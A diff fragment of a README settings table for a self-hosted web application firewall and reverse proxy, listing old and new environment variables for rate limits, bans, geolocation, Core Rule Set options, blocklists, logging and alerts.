| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`; a larger one is answered `502`, or cut off once it has started. |
|
||||
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | How long the visitor may take to send its request line and headers, and then the whole request to reach the app, in milliseconds or `off`. |
|
||||
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||
| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
|
||||
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
|
||||
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||
| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
|
||||
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||
| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
||||
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||
| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
||||
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||
| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||
| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
|
||||
| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
||||
| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
||||
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
||||
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
||||
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
||||
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
||||
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
||||
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
||||
| `SWWAF_LISTEN_ADDR` | `:8080` | Where `servewaf` listens; leave the host part empty. |
|
||||
| `SWWAF_INSTANCE_NAME` | the container's host name | The name in every line `servewaf` logs, and in every alert and metric, such as `fsn1/servewaf`. |
|
||||
| `SWWAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||
| `SWWAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||
| `SWWAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||
| `SWWAF_MAX_BANS` | `5000` | The most bans `servewaf` keeps of its own; bans an admin made do not count. |
|
||||
| `SWWAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||
| `SWWAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients the request and byte limits neither count nor refuse. |
|
||||
| `SWWAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||
| `SWWAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; one more bans it. |
|
||||
| `SWWAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; one more bans it. |
|
||||
| `SWWAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; one more bans it. |
|
||||
| `SWWAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes whose requests the request and byte limits neither count nor refuse, such as `/assets/`. |
|
||||
| `SWWAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes a client's requests may carry in a minute, a size or `off`; the request that takes a client past any byte limit bans it. |
|
||||
| `SWWAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes a client's requests may carry in an hour, a size or `off`. |
|
||||
| `SWWAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes a client's requests may carry in a day, a size or `off`. |
|
||||
| `SWWAF_BYTES_COUNT` | `both` | Which body bytes the byte limits count: `response`, `request` or `both`. |
|
||||
| `SWWAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals by a rule file, a trap path or the Core Rule Set a client may get in a minute, a count or `off`; one more bans it. |
|
||||
| `SWWAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||
| `SWWAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||
| `SWWAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A limit broken again within this time after the last such ban ended gets a ban three times as long. |
|
||||
| `SWWAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||
| `SWWAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||
| `SWWAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||
| `SWWAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs`, a web service, `file`, or `off`. |
|
||||
| `SWWAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||
| `SWWAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
||||
| `SWWAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||
| `SWWAF_DENIED_COUNTRIES` | empty | Countries whose clients are refused, such as `cn,ru`. |
|
||||
| `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||
| `SWWAF_ASN_LIMIT_PERCENT` | empty | AS numbers whose clients get a percentage of every request and byte limit, such as `AS14061:50,AS16276:25`. |
|
||||
| `SWWAF_COUNTRY_LIMIT_PERCENT` | empty | The same by country, such as `cn:25`. |
|
||||
| `SWWAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `SWWAF_ASN_LIMIT_PERCENT`. |
|
||||
| `SWWAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `SWWAF_COUNTRY_LIMIT_PERCENT`. |
|
||||
| `SWWAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||
| `SWWAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; where it and `SWWAF_ASN_LIMIT_PERCENT` both give a percentage, the lower applies. |
|
||||
| `SWWAF_RULES_DIR` | `/etc/smallwebwaf/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||
| `SWWAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
||||
| `SWWAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||
| `SWWAF_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||
| `SWWAF_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||
| `SWWAF_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||
| `SWWAF_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||
| `SWWAF_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||
| `SWWAF_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||
| `SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only; `deploy/gitea/crs-exclusions.conf` is gitea's. |
|
||||
| `SWWAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||
| `SWWAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||
| `SWWAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||
| `SWWAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||
| `SWWAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||
| `SWWAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||
| `SWWAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||
| `SWWAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||
| `SWWAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||
| `SWWAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||
| `SWWAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||
| `SWWAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||
| `SWWAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||
| `SWWAF_STATE_DIR` | `/var/lib/smallwebwaf` | The directory of the state files, an absolute path. |
|
||||
| `SWWAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||
| `SWWAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
|
||||
| `SWWAF_LOG_LEVEL` | `info` | The least severe of `servewaf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||
| `SWWAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||
| `SWWAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `servewaf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||
| `SWWAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||
| `SWWAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||
| `SWWAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||
| `SWWAF_LOG_REMOTE_APP_NAME` | `SWWAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||
| `SWWAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||
| `SWWAF_METRICS_TOKEN` | unset | The bearer token for `/_smallwebwaf/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||
| `SWWAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||
| `SWWAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||
| `SWWAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||
| `SWWAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||
| `SWWAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||
| `SWWAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||
| `SWWAF_ALERT_EVENTS` | `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||
| `SWWAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||
| `SWWAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||
| `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||
| `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||
| `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when one client's requests carry more bytes than this in a minute, a size. |
|
||||
| `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when one client's requests carry more bytes than this in an hour, a size. |
|
||||
| `SWWAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||
| `SWWAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||
| `SWWAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when the netblock around a client carries more bytes than this in a minute, a size. |
|
||||
| `SWWAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when the netblock around a client carries more bytes than this in an hour, a size. |
|
||||
| `SWWAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWWAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||
| `SWWAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWWAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||
| `SWWAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||
| `SWWAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||
| `SWWAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when one AS number carries more bytes than this in a minute, a size. |
|
||||
| `SWWAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when one AS number carries more bytes than this in an hour, a size. |
|
||||
| `SWWAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||
| `SWWAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||
| `SWWAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when the whole service carries more bytes than this in a minute, a size. |
|
||||
| `SWWAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when the whole service carries more bytes than this in an hour, a size. |
|
||||
| `SWWAF_WATCH_NETS` | empty | Named netblocks the `SWWAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||
| `SWWAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||
| `SWWAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||
| `SWWAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when a watched netblock carries more bytes than this in a minute, a size. |
|
||||
| `SWWAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when a watched netblock carries more bytes than this in an hour, a size. |
|
||||
|
||||
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
||||
full, and the limits that are fixed rather than settings.
|
||||
@@ -346,13 +339,14 @@ full, and the limits that are fixed rather than settings.
|
||||
Each example is a complete `compose.yaml`. `smallwebwaf` is the tag
|
||||
